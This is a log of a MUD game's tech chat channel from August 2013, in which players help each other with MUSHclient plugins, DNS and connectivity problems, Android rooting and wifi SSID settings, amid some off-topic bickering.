T3/r7/2013-08-27.txt.gz:{chan ch=tech}Pedsirs Tech: 7zip isnt working for me
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Pedsirs Tech: yeah even after i have restarted my computer i still cant open the file with winrar or 7zip, im trynig to get http://gc.codehum.com/p/aardwolf-scriptalicious/downloads/detail?name=WinkleWinkle_Spellup_2.xml
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Pedsirs Tech: but it keeps saying its damaged or something
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Pedsirs Tech: whats the shortcut for bringing up pluging screen?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Pedsirs Tech: ctrl/shift and?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}BrokenBot Covenant Tech: shift ctrl p
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Pedsirs Tech: ty
T3/r7/2013-08-27.txt.gz:{chan ch=tech}RedRain Tech: p
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Vonliege Tech: most of you know how software has become more bloated and un-wieldy, proportional to mainstream computing power - the faster computers get, the less programers have to worry about efficiency.....
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There are many different types of efficiency, the focus has merely shifted to devtime efficiency rather than CPUtime efficiency
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Vonliege Tech: at my wife's workplace, she has a nine-year old dell (that was likely no power machine in its day)... the institution has recently installed a battery of spy-ware, keyloggers, etc to keep tabs on emplyees... it now take the computer between 3 and five minutes to catch up with a typed paragraph in MS word.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That sounds like a hardware problem
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: sounds like a dell problem
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Vonliege Tech: the point is... the software is writen for TODAYS hardware... any such software writen when the computer was new would likely operate within the confines of the average (or even less-than-average) computer's capability.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i have a dell. old big core2. no normal graphic card would fit in. idiots
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Vonliege Tech: the point being... does software drive hardware, or visa-vise?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Money drives both, your point is null
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: yep
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: the sad fact of life
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Vonliege Tech: ya!?... well... well... you BRAIN is nul =P
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Vonliege Tech: you you you...  poopie-head!
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Sad? Only for those who lack it :-P
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: I guess u like having trash like dell around
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: must be nice to live in ur world
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: oh and ea and activision and everything made out of crap in china. mkay. have fun there bud
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Dell is what it is, and it does it well - I have yet to see better aftersales service (to business, their consumer market is pretty bad) from anyone but Dell
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Wait, are you saying if we take away the money things will improve? Genius!
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: way to put words where none were placed.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: genious.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: or genius 
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So make an argument, instead of whining like a petulant child?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: why? so u can whine that living in a bubble world reliant on someone else is a solution? lol. I think thats as productive as shooting myself in the foot or watching paint dry.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Redryn Tech: do you hate dell or something?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Redryn Tech: you're not making much sense
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Money is representative of work, and the debt incurred in undertaking that work. It is there to facilitate our progression from a barter society. If you make paint, and you want food, but the food-making guy wants music, and the musician wants paint, guess how that happens? Money.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Vonliege Tech: I'm going back to an abacus (likely made in china)
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: lol
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Money also serves as a scapegoat for those who do not understand how the world works.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: people who claim they "understand" how the world works tend to just be confused and egotistical. Just personal observation.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Pedsirs Tech: interesting tech conversation
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: yep.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: its all dells fault
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Redryn Tech: so does anyone have a samsung s4 and know whether it's worth the effort to install custom roms and stuff?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I have an S4, installed a custom to get rid of some of the Samsung apps I didn't need, and remove the 'you are damaging your ears' warning
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Also to swap out the bottom row of apps, but I hear those being locked is an AU specific thing
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Redryn Tech: can't you just download a different launcher/music player, and root it to remove apps?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Oh, you mean a full on custom Android OS? Nah, didn't do that, just the Samsung overlay
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: some things like say google playbooks like to "restore" things
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The volume warning needs root access though, as it's an Android thing, not an app thing
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Redryn Tech: oh is it?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Redryn Tech: it's not bothered me much anyway, i don't exceed the limit :p
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Redryn Tech: it's probably saved me a couple of times from blasting my ears too
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Music I don't, but I listen to lectures and such that are always stupidly quiet
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Redryn Tech: ah
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: oh
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And of course it warns based on volume %, not actual volume
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: ya i see ur point now.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Tech: Redryn nods.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Redryn Tech: does that adaptsound thing work?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Redryn Tech: or smart volume or whatever they call it
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: netflix in old days did that often
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It does, but it triggers the warning :-P
T3/r7/2013-08-27.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: had to jack up volume to the roof to get proper sound level
T3/r7/2013-08-27.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: you know what could be cool - if someone would make a mush plugin that turns every market item to a hyperlink. to id it.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Redryn Tech: actually probably not that hard
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Redryn Tech: you could rip off the url plugin and just edit it to lbid the ###
T3/r7/2013-08-27.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: me? im good at scripting memory leaks
T3/r7/2013-08-27.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: but where is the url plugin anyway?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: got it..
T3/r7/2013-08-27.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: too difficult for me
T3/r7/2013-08-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: does anyone know if i can use something like ODBC through wine (running cmud on wine, and on windows i use ODBC to connet to my DB)
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I believe you can use Windows ODBC drivers....
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Protogynus Robbo Tech: There appears to be a winehq wiki article on the subject.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Otherwise, Wine uses Linux's unixodbc natively.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i was trying to get lua stuff working and was just going to re-write my scripts, but i could not even get those working =/
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Ferun Tech: does anyone know how to split the output window in mush client?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Ayasinda Tech: what do you mean by split? And what output window?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Ferun Tech: so you can see older output without having to scroll each time you enter a command
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Gaelehad Tech: most of the plugins actually use seperate output windows
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Ferun Tech: the main output window
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Ayasinda Tech: I don't think you can. At least not without coding a lot.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Gaelehad Tech: i assume you are not running the aard version of mushclient
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Ferun Tech: i am
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Gaelehad Tech: then typing while you scroll up shouldn't be an issue
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Gaelehad Tech: until you hit enter/return of course
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Ayasinda Tech: but he said he doesnt want to scroll up
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Ferun Tech: i know zmud does it.. its the only thing i miss from that client
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Gaelehad Tech: what kind of output don't you want to have to keep looking for? bast has some really nice plugins for quest and cp's and gq's
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Gaelehad Tech: all that goes in a nice little tabbed window you can dump anywhere
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Ferun Tech: just trying to train skills. lol
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Ferun Tech: lvl 1 is really the only time it bothers m
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Gaelehad Tech: well the low tech solution is copy paste to notepad or some clone
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Gaelehad Tech: of notepad
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Ferun Tech: ok
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Tigernuts Tech: any tech-heads about?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Mebbe
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Tigernuts Tech: i want to know why Vista tries to scare people off against using wireless networks that are not broadcasting the SSID
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Xantcha Tech: sorry, i stopped reading after "Vista" ... very little about that operating system makes sense... less works
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Navi Tech: Doesn't Vista do that for everything you try to do though?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Xantcha Tech: I'd say whatever gripes it has about non-broadcasting SSID's... ignore... it's best not to have your router broadcasting SSID< it's harder to hack that way
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Protogynus Robbo Tech: According to a quick technote, if you have the SSID hidden and you have Vista set to automatically connect, Vista actually broadcasts the SSID even when it's not in range in an attempt to connect.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Tigernuts Tech: that was what i understood, xantcha
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Tigernuts Tech: shouldn't be an issue, it's never not in range of it
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Protogynus Robbo Tech: They (Microsoft) recommends that if you're connecting to a non-broadcast SSID, you should only manually connect.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: hidding your SSID makes it no harder to hack, if i use BT5 even hidden show up, but i digress and its offtopic
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Protogynus Robbo Tech: That's the only downfall M$ has published that I'm aware of.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Tigernuts Tech: it's not there to be unhackable, it's just to stop local monkies trying to access it
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Tigernuts Tech: i've got access control switched on too, which should help
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Tech: Protogynus Robbo rapidly nods twice at Tigernuts, in complete agreement.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Personally, I wouldn't sweat their warnings. If somebody's sniffing, they're sniffing.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Tigernuts Tech: perfect world i'd be wired, not wireless
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Only secure computer is one that's disconnected from all wires (including power) and buried in solid concrete.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Tech: Protogynus Robbo snickers softly.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Fatal FrostBite Tech: don't forget to lose the coordinates that locate the comp in the concrete or determined schmucks like myself will dig it up and still hack it!
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Tech: Fatal FrostBite sends Protogynus Robbo across the dance floor.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Tech: Protogynus Robbo grins evilly.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Navi Tech: Why not incineration.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Well, that's effective too, but that also means I'll never be able to access the data either.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Amalcon Tech: That does make it secure, but is it really still a computer?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Realistically though, anybody sniffing my wifi is gonna get MUD traffic and porn, not much value there.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Tech: There goes Fatal FrostBite giggling again, and this time he's looking towards Protogynus Robbo.
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Tigernuts Tech: tend to use https anywhere
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Tigernuts Tech: and tor for anything remotely dodgy
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Xantcha Tech: that all depends on your memberships... some of those monthly charges are expensive... if I can leech that off for free....
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Xantcha Tech: I'll be outside your window this evening 
T3/r7/2013-08-27.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Does any one know of an android app that I can use as a database for sorting equipment?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Snaebjorn Tech: got a tablet question
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Snaebjorn Tech: anyone know rooting and roming well?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: new router,switch, and i cant seem to ping aardmud.org  or connect from pc
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: new router,switch, and i cant seem to ping aardmud.org  or connect from pc
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: using opendns updater if it resolves  but cant connect how is it getting dropped at router qq
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: no idea, try googling it, maybe somebody had same issue before
T3/r7/2013-08-28.txt.gz:{chan ch=tech}<sarcasm> Forestseer Tech: can u ping 8.8.8.8
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: rebooting sec
T3/r7/2013-08-28.txt.gz:{chan ch=tech}<sarcasm> Forestseer Tech: if yes -> nslookup; server 8.8.8.8; google.com
T3/r7/2013-08-28.txt.gz:{chan ch=tech}<sarcasm> Forestseer Tech: if that gives you some IPs for google, then issue is dns settings on either your machine, or router
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: im also having problems installing a plugin, the spellup2 plugin, it just says its damaged etc
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: thats the thing its fine for other websites, websites i can access
T3/r7/2013-08-28.txt.gz:{chan ch=tech}<sarcasm> Forestseer Tech: can u ping 66.228.127.34 - if so, then it's an issue specific to resolving aardmud.org -> DNS
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: can access aardwolf.com. tech did dns flush too browser cleaned of cache and ping yes on 8.8.8.8
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: don't know of the spellup2 plugin (are you sure it's for aard, or do you mean winkle_spellup_2?)...is it in the worlds\plugins folder, and are you using file -> plugins to try to add it?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: ping failed on 66.228.127.34
T3/r7/2013-08-28.txt.gz:{chan ch=tech}<sarcasm> Forestseer Tech: does your router have settings for blacklists?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}<sarcasm> Forestseer Tech: or your firewall? checked there?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}<sarcasm> Forestseer Tech: otherwise, aard ihas blacklisted you :\
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: yes it's the winkle_spellup_2 plugin, i begin the download and i get this error......C:DOCUME~1\marc\LOCALS~1\Temp\WinkleWinkle_Spellup_2-1.xml......The archive is either in unknown format or damaged
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: how are you downloading?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: winrar
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: huh?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: it's a text file
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: did a tracert and it drops in the dal datacenter for me
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: sorry im trying to open with winrar
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: downloading from here http://gc.codehum.com/p/aardwolf-scriptalicious/downloads/detail?name=WinkleWinkle_Spellup_2.xml
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: well of course winrar would say that...it's not an archive
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: ahh im not good with things like this, how do i do it?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: just download the file, don't try to open it in anything
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: just save, not open
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: it asks me to open it with something though, cant stop it asking :S
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: right-click the link, save as
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: ok, then save it in downloads folder then sort out the plugin from there, moving it to worlds etc
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: hum, i must be doing something drasticly wrong here, it saved as a web page
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: that's  fine
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: that's because xml is generally "spoken" by web browsers
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: ahh ok, so where do i go from here please Abelinc?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: again, you don't want to open it, just move the file...all of the plugins in there will probably look like web pages
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: ok
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: move it to MUSHclient\worlds\plugins
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: which is what step 1 of INSTALL: says on that download page
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: i never had this issue with my computer at home, its just this one at work
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: ive moved it to the folder required, going to relog
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: don't need to relog
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: just need to add
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: ahh yes
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: awww thanks Abelinc, your a star, its been frustrating me for a couple of days now  :)
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: other way to do it...configure/add plugins at home, bring the whole MUSHclient folder set up the way you like it to the work computer on a thumb drive (dropbox, etc)
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: yeah the thought did cross my mind, with me having a different OS at home would that make a difference to how it downloads?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: the downloading is really browser config
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Pedsirs Tech: makes sense now, here at work they use firefox
T3/r7/2013-08-28.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Hi does any one know that website for viewing auction stats of average prices of items please?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: gaardian.com
T3/r7/2013-08-28.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Thank you Abelinc.
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Hmm, anyone actually installed the JDK on Windows 8? I used the setup.exe, but when I open up cmd and try and use java and javac, they aren't registered as commands? Anyone know offhand where the default install dir is, so I can add it to my path?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Got it solved, but since when do you need to explicitly add a program file to your path for it to be CLI-accessible?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Incredible Iceman Tech: any ideas why bast planes mob lookup isnt finding any mobs?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: what're you typing, and what's it saying?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Incredible Iceman Tech: plookup find derg
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Incredible Iceman Tech: shows no result
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Incredible Iceman Tech: for any mob i try
T3/r7/2013-08-28.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: take out the find
T3/r7/2013-08-28.txt.gz:{chan ch=tech}BrokenBot Covenant Tech: try
T3/r7/2013-08-28.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: just plookup derg
T3/r7/2013-08-28.txt.gz:{chan ch=tech}BrokenBot Covenant Tech: true
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Incredible Iceman Tech: still nothing
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Incredible Iceman Tech: shows none ..as result
T3/r7/2013-08-28.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: reinstall, when i type plookup derg it shows me two, pool 4 and 6
T3/r7/2013-08-28.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: reinstall, when i type plookup derg it shows me two, pool 4 and 5
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Incredible Iceman Tech: hmm, still nothing
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Incredible Iceman Tech: reinstalled it and still nothing
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Bast Tech: Iceman: if you are using the latest version, type "plookup mreset" then it should reseed the planes mobs database
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Ashiya Tech: what plugin is that?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Bast Tech: the planesmobs plugin
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Ashiya Tech: where can I find that :)?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Bast Tech: my website, finger me
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Ashiya Tech: cool ty!
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Vishos Tech: I play on multiple computers and i'd like to transfer my plugin settings, most specifically basts eqsets from one to the other two, I tried copying the plugin folder but that doesn't seem to contain the saved information for all my sets... any thoughts?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Try copying the logs folder in the directory....I dont use it, but I assume it is a database in that folder.
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Vishos Tech: kk i'll try that thank you
T3/r7/2013-08-28.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: It's in teh mushclient.exe directory.  Make sure Mush is closed when you copy...and Bast is around he probs knows better :)
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Vishos Tech: yea i just don't like to bug him too much , i figure he gets pestered enough =)
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Bast Tech: Vishos: all the data for my plugins is stored in the state or in the logs directory in *.db files
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Bast Tech: the state files are xml and there are *.db files in the logs directory
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Vishos Tech: so if i wanted to duplicate the current state of eqsets and spellup i could just copy the entire folder.
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Bast Tech: yes, just copy the entire MUSHclient directory and that should get everything
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Vishos Tech: well i didn't want to copy the entire directory because the screen resolutions on the compuers i play on are all different, last time i did that some of the windows were off the screen to the point i couldn't drag them =(
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Vishos Tech: even after resetting the plugin in question
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Vishos Tech: where are the state files located? i see the .db ones
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Bast Tech: the state files are *.xml in the worlds/plugins/state directory
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Vishos Tech: got it thank you very much!
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Bast Tech: if you just want, you can sync the eq.db and stats.db files in the logs directory, the state files basically keep window positions anyway, but there may be one or two that keep more
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Vishos Tech: it seems to have done what i wanted by just copying the logs directory so far
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Mushambo Tech: Heh, the TimeWarnerCable rep suggested that I upgrade to business class service instead of calling tech support so much on their poor home-level service
T3/r7/2013-08-28.txt.gz:{chan ch=tech}RightOn Rithlin Tech: TWC is horrible.
T3/r7/2013-08-28.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: anyone around here playing castlevania lords of shadows? the one for pc? or to be more specific making trainer/etc for it
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: Does anyone know which plugin controls the tips that come up with a new mush install? I have a VI friend that needs to make that window go away.
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Hanslanda Tech: I seem to remember there being a little checkbox or somesuch towards the bottom of said window that turns it off.
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: there is, but it's not accessible from the keyboard
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: not that I've found, anyway. I can't remember now how I finally got rid of it
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tigernuts Tech: any glassfish/oracle app server users here?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tigernuts Tech: or failing that, anyone who uses Dolphin emu
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Trachx Tech: maybe aard_new_connection.xml
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: Success! Thank you.
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: oh, Faylen, I'm pretty sure that when that box is set to come up, the main MUD output window has text describing how to get rid of it (which screen readers should read)
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: As far as I know it just says to right click it. heh, which for VI players don't work too well. But removing that plugin did the job
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: doesn't, rather. Wow english
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: when I open MUSHclient, my main MUD output has: Screen reader users: To bypass the welcome screen and connect to the game, type "connect to aardwolf" without the quotation marks and then press enter.
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Hanslanda Tech: heh, don't works just as well in that case, if you wanted to claim common usage.
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Hanslanda Tech: that's just going to close the window and continue onwards, he was asking how to effect the don't show this again aspect.
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: hans: no, typing that is the same as checking "don't show"
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: he put that command there specifically because of the issue where VI players can't do a checkbox
T3/r7/2013-08-28.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: any one know of an app that I can use as a database to store info of equipment stats?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: which is why he put it into the main output to be read rather than into the miniwin itself
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: google docs
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Hanslanda Tech: for what platform?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: there are plugins thta handle that already made for MUSHclient
T3/r7/2013-08-28.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Android 
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: then google docs
